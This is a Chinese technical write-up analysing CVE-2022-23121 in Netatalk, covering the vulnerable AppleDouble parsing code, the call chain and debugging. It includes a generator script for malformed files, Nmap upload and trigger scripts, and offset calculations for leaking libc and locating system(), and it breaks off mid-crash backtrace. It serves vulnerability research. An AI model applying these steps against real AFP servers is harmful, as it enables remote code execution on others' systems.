CVE-2022-23121 Netatalk 远程代码执行漏洞深入分析

时间:2022-05-23

声明:本篇文章由 可可@QAX CERT 原创,仅用于技术研究,不恰当使用会造成危害,严禁违法使用 ,否则后果自负。

一、Netatalk介绍

Netatalk 是一个 Apple Filing Protocol (AFP) 的开源实现。它为 Unix 风格系统提供了与 Macintosh 文件共享的功能。多款NAS产品均有集成该功能。

二、漏洞简介

Netatalk在处理FPOpenFork命令的时候,由于未检查AppleDouble文件头中的偏移是否超出范围,导致攻击者可以通过控制AppleDouble文件的某些偏移,在内存中进行越界读写,通过该漏洞攻击者可以启动Netatalk的用户权限执行任意命令。

三、Appledouble文件

Appledouble文件格式文档可在下面链接下载,AppleDouble文件是mac上一种存储数据的格式,AppleDouble文件可分为文件头和数据部分,文件头格式如下,对于每个Entry来说,数据在文件内的范围可表示为:[offset:offset+length]

Field               Length
Magic number           4 bytes
Version number          4 bytes
Filler              16 bytes
Number of entries         2 bytes
Entry descriptor for each entry:
Entry ID            4 bytes
Offset            4 bytes
Length            4 bytes

以下是一个有效的Appledouble文件,包含两个entry

entry 1

  • entry ID:0x09
  • offset:0x32
  • length:0x71

entry 2

  • entry ID:0x02
  • offset:0xA3
  • length:0x46

https://web.archive.org/web/20180311140826if_/http://kaiser-edv.de/documents/AppleSingle_AppleDouble.pdf

四、如何生成有效的AppleDouble文件触发漏洞

在https://nosec.org/home/detail/4997.html 中keeee师傅分享了如何通过xattr库生成appledouble文件,这里为了方便生成所需文件对keeee师傅的方法进行魔改。

首先安装 xattr-file和minimist库:

npm install xattr-file
npm install minimist

在node_modules目录内找到xattr-file.js文件,修改creat方法,为其添加接受各种偏移的接口,大致如下:


function create(attrs, resoLength, findoff, findlen, forkoff, forklen) {  ......
  var finderInfoOffset = findoff == -1 ? applLength : findoff  var finderInfoLength = findlen == -1 ? (attrLength + keysLength + dataLength) : findlen  var resourceForkOffset = forkoff == -1 ? fileLength : forkoff  var resourceForkLength = forklen == -1 ? resoLength : forklen

生成xattr文件的nodejs脚本:


var xattr = require("xattr-file");const args = require('minimist')(process.argv.slice(2))const fs = require('fs')
var fp = './'var origname = 'read'// resource fork data 部分:
var buffer2 = Buffer.from("a".repeat(0x12))var buffer3 = Buffer.from("a".repeat(0x34))
console.log(Buffer.concat([ buffer2, buffer3]).length)  // 打印的 resource fork data 长度。
resoLength = Buffer.concat([buffer2, buffer3]).lengthvar findoff = args['findoff'] == undefined ? -1 : parseInt(args['findoff'])var findlen = args['findlen'] == undefined ? -1 : parseInt(args['findlen'])var forklen = args['forklen'] == undefined ? -1 : parseInt(args['forklen'])var forkoff = args['forkoff'] == undefined ? -1 : parseInt(args['forkoff'])// 如果name为空则为readvar name = args["name"] == undefined ? origname : args["name"]
console.log('findoff:' + findoff + " findlen:" + findlen + " forkoff:" + forkoff + " forklen:" + forklen)
var buffer = xattr.create({  "com.example.Attribute": "my data"}, resoLength, findoff, findlen, forkoff, forklen);
var buffer4 = Buffer.concat([buffer, buffer2, buffer3])fs.writeFile(fp + '._' + name, buffer4, { mode: 0o777 }, err => {  if (err) {    console.error(err)    return  } else {    console.log("success write file, file path: " + fp + '._' + name)  }  //文件写入成功。})
fs.writeFile(fp + name, "hello world", { mode: 0o777 }, err => {  if (err) {    console.error(err)    return  } else {    console.log("success write file, file path: " + fp + name)  }  //文件写入成功。})
fs.chmod(fp+ name, 0o777, () => {  console.log("change " + fp+ name + " mode")})
fs.chmod(fp + '._' + name, 0o777, () => {  console.log("change " + fp + '._' + name + " mode")})

如何将文件上传到服务器

生成文件后,为了更贴合实际漏洞利用场景,即生成有效AppleDouble文件后通过AFP客户端上传到AFP服务器,这里借鉴Nmap自带的afp的lua库,编写我们自己的上传NSE脚本。

在Nmap中原生包含了afp-ls的NSE脚本,其引用的lua库afp.lua内含有我们通过AFP协议上传文件需要的接口WriteFile,在上传文件的NSE脚本中调用该接口即可

在scripts目录下新建afp-upfile.nse文件,将afp-ls.nse内容粘贴进去,去掉列出文件逻辑的代码,之后编写lua代码,读取文件,将文件内容传给afp.lua内的WriteFile函数即可,最终如下:


......action = function(host, port)  -- 这里和afp-ls的逻辑一样
    local msg    local uploadpath = args["uploadpath"]    local filepath = args["filepath"]    local poc = io.open(filepath,"r")    local data = poc:read("*all")    poc:close()    status, msg = afpHelper:WriteFile(uploadpath, data)    status, response = afpHelper:Logout()    status, response = afpHelper:CloseSession()    return data  end  returnend

利用该脚本,可以通过nmap上传文件到afp服务器


nmap -p 548 --script=afp-upfile --script-args "uploadpath=test/._cmd,filepath=./._cmd" ip

五、漏洞成因

libatalk/adouble/ad_open.c#parse_entries 函数为Nettatalk解析buf内的数据到自定义的结构体,通过读取buf内对应offset的数据到传入的ad指针指向的adouble结构体的某些成员内,完成对相应值的设置,其中buf数据来自读取的._filename的文件。在循环中将buf首地址加上某个offset中的数据通过memcpy函数拷贝到ad指向的adouble结构体变量内,在循环内含有一个if判断,当处于以下情况时,parse_entries 会返回-1并且打印警告日志

  1. eid > ADEID_MAX,ADEID_MAX=20
  2. off>sizeof(ad->ad_data)
  3. eid不等于2并且此时的entry的偏移和数据长度相加大于1024

即通过控制文件内的数据,我们可以控制adouble结构体内的entry的off+len+buf超过buf的边界,正常流程中adouble结构体内的entry的off+len+buf不应该越过buf边界。


static int parse_entries(struct adouble *ad, char *buf, uint16_t nentries){    uint32_t   eid, len, off;    int        ret = 0;    /* now, read in the entry bits */    for (; nentries > 0; nentries-- ) {        memcpy(&eid, buf, sizeof( eid ));        eid = get_eid(ntohl(eid));        buf += sizeof( eid );        memcpy(&off, buf, sizeof( off ));        off = ntohl( off );        buf += sizeof( off );        memcpy(&len, buf, sizeof( len ));        len = ntohl( len );        buf += sizeof( len );
        ad->ad_eid[eid].ade_off = off;        ad->ad_eid[eid].ade_len = len;
        if (!eid            || eid > ADEID_MAX            || off >= sizeof(ad->ad_data)            || ((eid != ADEID_RFORK) && (off + len >  sizeof(ad->ad_data)))) // ADEID_RFORK        {            ret = -1;            LOG(log_warning, logtype_ad, "parse_entries: bogus eid: %u, off: %u, len: %u",                (uint)eid, (uint)off, (uint)len);        }    }
    return ret;}
// adouble 定义struct adouble {......    char                ad_data[AD_DATASZ_MAX]; //AD_DATASZ_MAX = 1024};

在代码里,在以下几处函数中有调用parse_entries 函数

  • ad_header_read
  • ad_header_read_osx
  • ad_header_read_ea

在三处函数中,只有libatalk/adouble/ad_open.c#ad_header_read_osx函数调用parse_entries函数时,即使parse_entries返回-1,该函数不会return也不会进入异常处理流程,仅仅是通过日志记录,继续执行而不报错。


if (parse_entries(&adosx, buf, nentries) != 0) {        LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble",            path ? fullpathname(path) : "");    }

之后ad_header_read_osx 会读取adouble结构体内的偏移,判断finderinfoentry len是否等于32,不等于则进入if内,并调用libatalk/adouble/ad_open.c#ad_convert_osx 函数

ad_convert_osx 函数中会读取ad指针指向的adouble结构体内的entry结构的off和len偏移并调用memmove函数进行内存复制,此偏移恰好是parse_entries 函数从文件读取并赋值的偏移。


static int ad_convert_osx(const char *path, struct adouble *ad){......    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);    if (map == MAP_FAILED) {        LOG(log_error, logtype_ad, "mmap AppleDouble: %s", strerror(errno));        EC_FAIL;    }
    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,            map + ad_getentryoff(ad, ADEID_RFORK),            ad_getentrylen(ad, ADEID_RFORK));    (void)ad_rebuild_adouble_header_osx(ad, map);    munmap(map, origlen);

六、分析函数调用链

通过doxygen+graphviz绘制函数调用链图(https://www.cnblogs.com/realjimmy/p/12892179.html),从图中可以看出完整的函数调用链为:ad_open→ad_open_rf→ad_open_rf_ea→ad_header_read_osx→parse_entries

ad_open函数所在的libatalk目录内的代码会被编译为libatalk.so,最终被afpd服务使用,在afpd 代码中,由etc/afpd/fork.c#afp_openfork 调用libatalk/adouble/ad_open.c#ad_open函数。

int afp_openfork(AFPObj *obj _U_, char *ibuf, size_t ibuflen _U_, char *rbuf, size_t *rbuflen){    .....    /* First ad_open(), opens data or ressource fork */    if (ad_open(ofork->of_ad, upath, adflags, 0666) < 0) {.....

libatalk/adouble/ad_open.c#ad_open 函数中,当请求内设置了ADFLAGS_RF这个flag才会调用ad_open_rf函数


if (adflags & ADFLAGS_RF) { // ADFLAGS_RF = 1<<1 = 2        if (ad_open_rf(path, adflags, mode, ad) != 0) {            EC_FAIL;        }}

七、触发漏洞流程

想要触发该漏洞,必须要了解到afpd服务如何处理客户端请求,以便构造请求执行到漏洞代码处。

启动Netatalk的服务端afpd服务后,在afpd的main函数入口处初始化一些变量、加载AFP配置、监听端口等。


int main(int ac, char **av){    struct sigactionsv;    sigset_t            sigs;    int                 ret;......    if (afp_config_parse(&obj, "afpd") != 0).....    obj.options.save_mask = umask(obj.options.umask);......    while (1) {        .......        for (int i = 0; i < asev->used; i++) {            if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {                switch (asev->data[i].fdtype) {
                case LISTEN_FD:                    if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {                        if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) {                      .....                            kill(child->afpch_pid, SIGKILL);                        }                    }                    break;               ......}

之后进入while循环,调用 etc/afpd/main.c#dsi_startdsi_start 调用dsi_getsession ,在dsi_getsession中调用dsi->proto_open 函数指针,实际指向libatalk/dsi/dsi_tcp.c#dsi_tcp_open


static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children){    afp_child_t *child = NULL;
    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {        ......    }
    /* we've forked. */    if (child == NULL) {        configfree(obj, dsi);        afp_over_dsi(obj); /* start a session */        exit (0);    }
    return child;}
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp){  // 设置、初始化变量等操作,通过fork函数创建子进程  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */......}

dsi_tcp_open函数接收来自客户端的连接,通过fork函数创建子进程


static pid_t dsi_tcp_open(DSI *dsi){    pid_t pid;    SOCKLEN_T len;
    len = sizeof(dsi->client);    dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);    ......    if (0 == (pid = fork()) ) { /* child */       ......    }
    /* send back our pid */    return pid;}

返回到dsi_getsession函数中,当fork返回的pid为0时,即当前进程为子进程则跳出switch结构,进入处理DSI数据的逻辑,当返回的pid不为0也不为-1时,即当前进程为父进程,则返回到dsi_start函数。


int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp){  // 设置、初始化变量等操作  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */  case -1:    ......  case 0: // 如果是子进程则直接退出switch,进入处理DSI数据的逻辑    break;  default: //如果是父进程则返回到dsi_start函数    ......    dsi->proto_close(dsi);    *childp = child;    return 0;  }  ....  switch (dsi->header.dsi_command) {                 // 根据dsi命令执行不同动作  case DSIFUNC_STAT: /* send off status and return */   .....      case DSIFUNC_OPEN: /* setup session */    /* set up the tickle timer */    dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;    dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;    dsi_opensession(dsi);    *childp = NULL;    return 0;
  default: /* just close */    LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);    dsi->proto_close(dsi);    exit(EXITERR_CLNT);  }}

之后回到dsi_start函数中,如果当前进程为父进程则返回到main函数中的while循环中,等待客户端的连接。如果当前进程为子进程则调用afp_over_dsi函数处理AFP数据,根据不同的AFP命令调用全局变量afp_switch[]内的不同函数指针进行处理


void afp_over_dsi(AFPObj *obj){    ......    /* get stuck here until the end */    while (1) {        ......        cmd = dsi_stream_receive(dsi);......        switch(cmd) {        case DSIFUNC_CLOSE:            ......        case DSIFUNC_TICKLE:            ......        case DSIFUNC_CMD:......function = (u_char) dsi->commands[0];                /* send off an afp command. in a couple cases, we take advantage                 * of the fact that we're a stream-based protocol. */                if (afp_switch[function]) {                    dsi->datalen = DSI_DATASIZ;                    dsi->flags |= DSI_RUNNING;
                    LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));
                    AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));                    err = (*afp_switch[function])(obj,                                                  (char *)dsi->commands, dsi->cmdlen,                                                  (char *)&dsi->data, &dsi->datalen);
                    ......    }
    /* error */    afp_dsi_die(EXITERR_CLNT);}

afp_switchpreauth_switch初始化,里面只有少量函数指针,而在postauth_switch中含有大量函数指针,推测为经过身份验证后afp_switchpostauth_switch赋值


static AFPCmd preauth_switch[] = {    NULL, NULL, NULL, NULL,    NULL, NULL, NULL, NULL,/*   0 -   7 */    NULL, NULL, NULL, NULL,    NULL, NULL, NULL, NULL,/*   8 -  15 */    NULL, NULL, afp_login, afp_logincont,    afp_logout, NULL, NULL, NULL,/*  16 -  23 */    .....};
AFPCmd *afp_switch = preauth_switch;
AFPCmd postauth_switch[] = {    NULL, afp_bytelock, afp_closevol, afp_closedir,    afp_closefork, afp_copyfile, afp_createdir, afp_createfile,/*   0 -   7 */    afp_delete, afp_enumerate, afp_flush, afp_flushfork,    afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,/*   8 -  15 */    afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,    afp_logout, afp_mapid, afp_mapname, afp_moveandrename,/*  16 -  23 */    afp_openvol, afp_opendir, afp_openfork, afp_read,    afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,    /*  24 -  31 */    afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,    afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /*  32 -  39 */    afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,    afp_null, afp_null, afp_null, afp_null,/*  40 -  47 */    afp_opendt, afp_closedt, afp_null, afp_geticon,    afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,/*  48 -  55 */    afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,......};
static int set_auth_switch(const AFPObj *obj, int expired){ ......        afp_switch = postauth_switch;

在函数调用链中,afp_openforkafp_switch的下标为26,同时26也可以在AFP数据包内看到:

调用总结

总结以上触发流程,触发到afp_openfork函数需要AFP数据包内Command字段值为26同时需要设置ADFLAGS_RF 这个flag,触发漏洞链条为:afp_openfork->ad_open→ad_open_rf→ad_open_rf_ea→ad_header_read_osx→parse_entries

函数调用图如下:

如何发送FPOpenFork请求

前面说过在nmap中含有afp相关的脚本,在nmap自带的lua库afp.lua中含有读取文件相关的函数,调用之,最终nse脚本如下,需要注意的是,在FPOpenFork请求中必须设置ADFLAGS_RF 这个flag才会触发到漏洞函数逻辑,在nmap自带的afp.lua的ReadFile函数中,该flag写死为0,需要修改为0x2,请求中的ADFLAGS_RF 才会被设置。


action = function(host, port)-- 和afp-ls逻辑一样
    local str_path = args["path"]
    local content    status, content = afpHelper:ReadFile(str_path)    status, response = afpHelper:Logout()    status, response = afpHelper:CloseSession()
    return content
  end  returnend

文件内应该包含什么

在函数调用链中的ad_header_read_osx 函数中,有备注Read an ._ file, only uses the resofork, finderinfo is taken from EA ,该函数只会使用resoforkfinderinfo 这两种entry,所以在生成触发该漏洞的文件时只需要包含这两种entry即可。

八、环境搭建

这里使用Netatalk 3.1.11版本搭建

  • 系统版本 Ubuntu 1804
  • 内核版本
root@ubuntu:~/nettatalk/netatalk-3.1.11/build/sbin/genefile# uname -a
Linux ubuntu 5.13.0-40-generic #45~20.04.1-Ubuntu SMP Mon Apr 4 09:38:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
  • libc版本 libc-2.31.so

Netatalk编译

apt-get install -y libdb-dev libgcrypt-dev libcrack2-dev libgssapi-krb5-2 libgssapi3-heimdal libgssapi-perl libkrb5-dev libtdb-dev libevent-dev  libdb-devwget https://versaweb.dl.sourceforge.net/project/netatalk/netatalk/3.1.11/netatalk-3.1.11.tar.bz2tar -xjf netatalk-3.1.11.tar.bz2cd netatalk-3.1.11.tar.bz2mkdir buildexport CFLAGS='-g -O0' # 保留调试符号,方便调试./configure \ --with-init-style=debian-systemd \ --without-libevent \--without-tdb \--with-cracklib \--enable-krbV-uam \--enable-debug \--with-pam-confdir=/etc/pam.d \--with-dbus-daemon=/usr/bin/dbus-daemon \--with-dbus-sysconf-dir=/etc/dbus-1/system.d \--with-tracker-pkgconfig-version=1.0 \--prefix=`pwd`/build \--bindir=`pwd`/build/bin \--sbindir=`pwd`/build/sbin
makemake install

Netatalk配置

mkdir /tmp/afp_tmp/mkdir /tmp/afp_tmp/Publicmkdir /tmp/afp_tmp/test
echo test > /tmp/afp_tmp/test/test.txtecho hello > /tmp/afp_tmp//Public/hello.txtchmod 777 -R /tmp/afp_tmp/Public /tmp/afp_tmp/test/tmp/afp_tmp/afp.conf:[ Global ]uam list = uams_guest.so,uams_clrtxt.so,uams_dhx2.sosave password = nounix charset = UTF8use sendfile = yeszeroconf = noguest account = nobody
 [ Public ] path =/tmp/afp_tmp/Publicea = auto convert appledouble = no stat vol = no file perm = 777 directory perm = 777veto files = '/Network Trash Folder/.!@#$recycle/.systemfile/lost+found/Nas_Prog/.!@$mmc/'rwlist = "admin","nobody","@allaccount"valid users = "admin","nobody","@allaccount"invalid users = 
 [ test ] path = /tmp/afp_tmp/testea = auto convert appledouble = no stat vol = no file perm = 777 directory perm = 777veto files = '/Network Trash Folder/.!@#$recycle/.systemfile/lost+found/Nas_Prog/.!@$mmc/'rwlist = "admin","nobody","@allaccount"valid users = "admin","nobody","@allaccount"invalid users =

参考:

https://nosec.org/home/detail/4997.html

九、调试

在AFPD中,由子进程负责处理AFP请求,父进程则循环接受客户端的请求,所以这里只需要调试子进程即可,为了方便调试,编写了如下脚本,至于为什么设置条件断点b ad_open.c:1894 if adflags & 2 != 0 在后文说明。


t.shgdb -x debug.gdb attach `ps -ef | grep  afpd | grep -v grep | grep -v cnid |awk '{print $2}' | head -1`
debug.gdbset follow-fork-mode childset detach-on-fork offset schedule-multiple onb ad_open.c:1894 if adflags & 2 != 0cb ad_open.c:617b ad_open.c:605

启动AFPD服务


./afpd -d -F /tmp/afp_tmp/afpd.conf./cnid_metad -d -F /tmp/afp_tmp/afpd.conf

十、为什么要设置条件断点

将前面生成的appledouble文件通过nmap脚本上传到afp服务器,通过nmap脚本请求该文件触发该漏洞

如果断点没有设置if adflags & 2 != 0 这个条件则gdb会直接断在ad_open.c:1894,此时请求内ADFLAGS_RF 值为0,不能进入漏洞逻辑,而由于断点,afp无法及时回复nmap数据包,nmap会报超时。

继续执行的话,afpd会收到SIGALRM信号,无法进入漏洞逻辑

十一、正常调试

上传的._read文件到test目录:

触发漏洞,进入parse_entries函数内,parse_entries读取buf里面的数据到ad指向的adouble结构体中。

最终adouble结构体内entry成员变量被设置为如下值,可以看出finderinfo entry内的off已经越界了:

而正常appledouble文件内,每个entry.ade_off+entry.ad_len相加应该小于文件大小,在上图中第九个entry即finderinfo的entry.ade_off+entry.ad_len = A27 >文件大小,这个偏移也可以从文件内体现,此时finderinfo的off已越界,此时已经控制了adouble.entry.off

十二、如何利用entry内的越界

前面写到,parse_entries函数可以将adouble结构体内的entry的off和len相加大于文件大小,如果某个地方读取了这个off和len并作为offset读写数据则可能产生越界读写。

继续看ad_header_read_osx调用parse_entries之后的逻辑,在parse_entries中如果程序发现off+len越界则会返回-1,如果ad指向的adouble结构体内的finderinfo entryade_len不等于32则进入if逻辑内,调用到ad_convert_osx函数。

ad_convert_osx函数中,程序将appledouble文件映射到内存中,此时对文件映射的内存的读写即是对该文件的读写。ad_convert_osx函数映射之后调用了memmovead_rebuild_adouble_header_osx函数,之后通过munmap函数取消映射,将内存中的数据写入文件内。

mmap的长度参数origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK)ad.ADEID_RFORK.off + ad.ADEID_RFORK.len 都为可控值


static int ad_convert_osx(const char *path, struct adouble *ad){ ......    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);    ......    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,            map + ad_getentryoff(ad, ADEID_RFORK),            ad_getentrylen(ad, ADEID_RFORK));
.    (void)ad_rebuild_adouble_header_osx(ad, map);    munmap(map, origlen);......}#define ad_getentrylen(ad,eid)     ((ad)->ad_eid[(eid)].ade_len)long ad_getentryoff(const struct adouble *ad, int eid){    if (ad->ad_vers == AD_VERSION2)        return ad->ad_eid[eid].ade_off;
    switch (eid) {    case ADEID_DFORK:        return 0;    case ADEID_RFORK:#ifdef HAVE_EAFD        return 0;#else        return ad->ad_eid[eid].ade_off;#endif    default:        return ad->ad_eid[eid].ade_off;    }    /* deadc0de */    AFP_PANIC("What am I doing here?");}

mmap之后文件已映射到内存中,在经过多次测试后,当resource fork length + resource fork offset ≤1000 时会mmap分配的内存在ld.sodata段上面。

任意写

仔细看调用memmove时的参数,map为文件映射到内存的首地址,ad_getentryoff为获取指定entry id的entry的off,ADEDLEN_FINDERI为宏定义值为32=0x20,而我们可以控制各个entry的off和len,通过该处调用,即我们可以从map + ad.ADEID_RFORK.off处读取任意长度的数据写入到任何高于map+0x20的内存(前提是该地址可写)也就是将文件中ad.ADEID_RFORK.off 处的数据写入该内存,而ad.ADEID_FINDERI.offad.ADEID_RFORK.off都为可控值,即可达到任意写。

 memmove(map + ad.ADEID_FINDERI.off + 0x20,
     map + ad.ADEID_RFORK.off,
     ad.ADEID_RFORK.len);

任意读

任意读发生在任意写的后面的函数调用,在ad_rebuild_adouble_header_osx 函数中有如下语句,该语句将ad.ad_data+ad.ADEID_FINDERI.off 处开始长为0x20的数据写入到adbuf+ADEDOFF_FINDERI_OSX中,ADEDOFF_FINDERI_OSX为宏定义,展开后可得值为26+2*12=50=0x32,而adbuf为mmap映射后返回的内存地址,该处语句将数据写入到mmap映射的内存偏移0x32的位置。


#define ad_entry(ad,eid)           ((caddr_t)(ad)->ad_data + (ad)->ad_eid[(eid)].ade_off)int ad_rebuild_adouble_header_osx(struct adouble *ad, char *adbuf){    ......    memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI);
#define ADEDOFF_FINDERI_OSX  (AD_HEADER_LEN + ADEID_NUM_OSX*AD_ENTRY_LEN)#define AD_HEADER_LEN       (ADEDLEN_MAGIC + ADEDLEN_VERSION + ADEDLEN_FILLER + ADEDLEN_NENTRIES) /* 26 */#define ADEID_NUM_OSX           2#define AD_ENTRY_LEN        12  /* size of a single entry header */

在调用完ad_rebuild_adouble_header_osx 函数后,程序调用munmap函数取消文件映射,内存内的数据会被写回到appledouble文件中,综合有:可以将ad.ad_data+ad.ADEID_FINDERI.off 处开始长为0x20的数据写入到文件偏移0x32处的地方,此时可以通过读取文件获取任意读的内存的内容。

组合利用

在内存中ad指向的结构体是存放在栈上的,分配的adouble结构体地址位于ad_header_read_osx栈帧的rbp-0x620处,可以用调试器测算和__libc_start_main_ret的地址

gef➤  bt#0  0x00007f624307220b in ad_header_read_osx (path=0x7f62430d6bc0  "._read", ad=0x558ce325bba0, hst=0x7ffcf6e36990) at ad_open.c:698#1  0x00007f6243074e50 in ad_open_rf_ea (path=0x558ce2e38f80  "read", adflags=0x283, mode=0x0, ad=0x558ce325bba0) at ad_open.c:1488#2  0x00007f62430750ae in ad_open_rf (path=0x558ce2e38f80  "read", adflags=0x283, mode=0x0, ad=0x558ce325bba0) at ad_open.c:1529#3  0x00007f6243075d29 in ad_open (ad=0x558ce325bba0, path=0x558ce2e38f80  "read", adflags=0x283) at ad_open.c:1895#4  0x0000558ce2e143bd in afp_openfork (obj=0x558ce2e4d920 , ibuf=0x7f6242b6c022 "uthent", ibuflen=0x12, rbuf=0x558ce3245b10 "", rbuflen=0x558ce3255b10) at fork.c:364#5  0x0000558ce2df2c81 in afp_over_dsi (obj=0x558ce2e4d920 ) at afp_dsi.c:627#6  0x0000558ce2e193ff in dsi_start (obj=0x558ce2e4d920 , dsi=0x558ce3245420, server_children=0x558ce3242240) at main.c:474#7  0x0000558ce2e19102 in main (ac=0x4, av=0x7ffcf6e36fc8) at main.c:417gef➤  i frame 7Stack frame at 0x7ffcf6e36ee0: rip = 0x558ce2e19102 in main (main.c:417); saved rip = 0x7f6242e51083 caller of frame at 0x7ffcf6e36d80 source language c. Arglist at 0x7ffcf6e36d78, args: ac=0x4, av=0x7ffcf6e36fc8 Locals at 0x7ffcf6e36d78, Previous frame's sp is 0x7ffcf6e36ee0 Saved registers:  rbp at 0x7ffcf6e36ed0, rip at 0x7ffcf6e36ed8gef➤  p &adosx.ad_data$11 = (char (*)[1024]) 0x7ffcf6e36522gef➤  p 0x7ffcf6e36ed8 - 0x7ffcf6e36522$12 = 0x9b6

任意读是读取ad.ad_data+ad.ADEID_FINDERI.off 处长为0x20的数据,而ad.ad_data 距离__libc_start_main_ret0x9b6,所以可以设置ad.ADEID_FINDERI.off 为0x9b6以获取__libc_start_main_ret地址。利用脚本构造文件并利用NSE脚本上传到服务器

通过命令触发该漏洞、

__libc_start_main_ret地址已经回显在文件内

验证地址:

在https://libc.rip 上验证libc版本:

通过__libc_start_main_ret地址可以测算system函数地址


gef➤  p 0x7f6242e51083 - 0x24083 + 0x52290$14 = 0x7f6242e7f290gef➤  p system$15 = {int (const char *)} 0x7f6242e7f290 <__libc_system>gef➤

至此,我们得到了system函数地址,那么如何利用这个地址呢?

Netatalk每次收到客户端请求都是fork子进程处理该请求,父进程继续监听socket,而fork的子进程内存空间和父进程内存空间的内容一样即libc库载入的地址不变,所以可以先发送请求通过任意读获取到system函数地址,第二次发送请求时,由于父进程不变所以system函数地址不变,通过任意写的system函数地址不变,才能达到命令执行的效果。

正是因为fork后,内存空间不变的机制才能利用任意读获取到system函数地址,而后通过任意写覆盖函数指针达到命令执行的效果。

在Netatalk执行过程中,程序出错不会立即退出而是会捕获异常,通过任意写,写入了ld.so的数据段,触发错误,导致了如下崩溃:

gef➤  bt#0  0x00007efeac84c59d in _dl_open (file=0x7efeac733eb9 "libgcc_s.so.1", mode=0x80000002, caller_dlopen=0x7efeac6acfb9 25>, nsid=0xfffffffffffffffe, argc=0x4, argv=0x7ffd9f27a1e8, env=0x7ffd9f27a210) at dl-open.c:786#1  0x00007efeac6df8c1 in do_dlopen (ptr=ptr@entry=0x7ffd9f277d60) at dl-libc.c:96#2  0x00007efeac6e0928 in __GI__dl_catch_exception (exception=exception@entry=0x7ffd9f277d00, operate=operate@entry=0x7efeac6df880 , args=args@entry=0x7ffd9f277d60) at dl-error-skeleton.c:208#3  0x00007efeac6e09f3 in __GI__dl_catch_error (objname=objname@entry=0x7ffd9f277d50, errstring=errstring@entry=0x7ffd9f277d58, mallocedp=mallocedp@entry=0x7ffd9f277d4f, operate=operate@entry=0x7efeac6df880 , args=args@entry=0x7ffd9f277d60) at dl-error-skeleton.c:227#4  0x00007efeac6df9f5 in dlerror_run (args=0x7ffd9f277d60, operate=0x7efeac6df880 ) at dl-libc.c:46#5  __GI___libc_dlopen_mode (name=name@entry=0x7efeac733eb9 "libgcc_s.so.1", mode=mode@entry=0x80000002) at dl-libc.c:195#6  0x00007efeac6acfb9 in init () at backtrace.c:54#7  0x00007efeac7834df in __pthread_once_slow (once_control=0x7efeac76fe68 , init_routine=0x7efeac6acfa0 ) at pthread_once.c:116#8  0x00007efeac6ad104 in __GI___backtrace (array=, size=) at backtrace.c:111#9  0x00007efeac7ec7ff in netatalk_panic (why=0x7efeac818148 "internal error") at fault.c:93#10 0x00007efeac7eca69 in fault_report (sig=0xb) at fault.c:127#11 0x00007efeac7ecac3 in sig_fault (sig=0xb) at fault.c:147#12 #13 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:238#14 0x00007efeac7c10e2 in ad_rebuild_adouble_header_osx (ad=0x7ffd9f279540, adbuf=0x7efeac863000 "") at ad_flush.c:187#15 0x00007efeac7c4d4c in ad_convert_osx (path=0x7efeac829bc0  "._cmd", ad=0x7ffd9f279540) at ad_open.c:617#16 0x00007efeac7c5379 in ad_header_read_osx (path=0x7efeac829bc0  "._cmd", ad=0x55dcb6856780, hst=0x7ffd9f279bb0) at ad_open.c:713#17 0x00007efeac7c7e50 in ad_open_rf_ea (path=0x55dcb5a7ef80  "cmd", adflags=0x283, mode=0x0, ad=0x55dcb6856780) at ad_open.c:1488#18 0x00007efeac7c80ae in ad_open_rf (path=0x55dcb5a7ef80  "cmd", adflags=0x283, mode=0x0, ad=0x55dcb6856780) at ad_open.c:1529#19 0x00007efeac7c8d29 in ad_open (ad=0x55dcb6856780, path=0x55dcb5a7ef80  "cmd", adflags=0x283) at ad_open.c:1895#20 0x000055dcb5a5a3bd in afp_openfork (obj=0x55dcb5a93920 , ibuf=0x7efeac2bf021 "Authent", ibuflen=0x11, rbuf=0x55dcb6840b10 "", rbuflen=0x55dcb6850b10) at fork.c:364#21 0x000055dcb5a38c81 in afp_over_dsi (obj=0x55dcb5a93920 ) at afp_dsi.c:627#22 0x000055dcb5a5f3ff in dsi_start (obj=0x55dcb5a93920 , dsi=0x55dcb6840420, server_children=0x55dcb683d240) at main.c:474#23 0x000055dcb5a5f102 in main 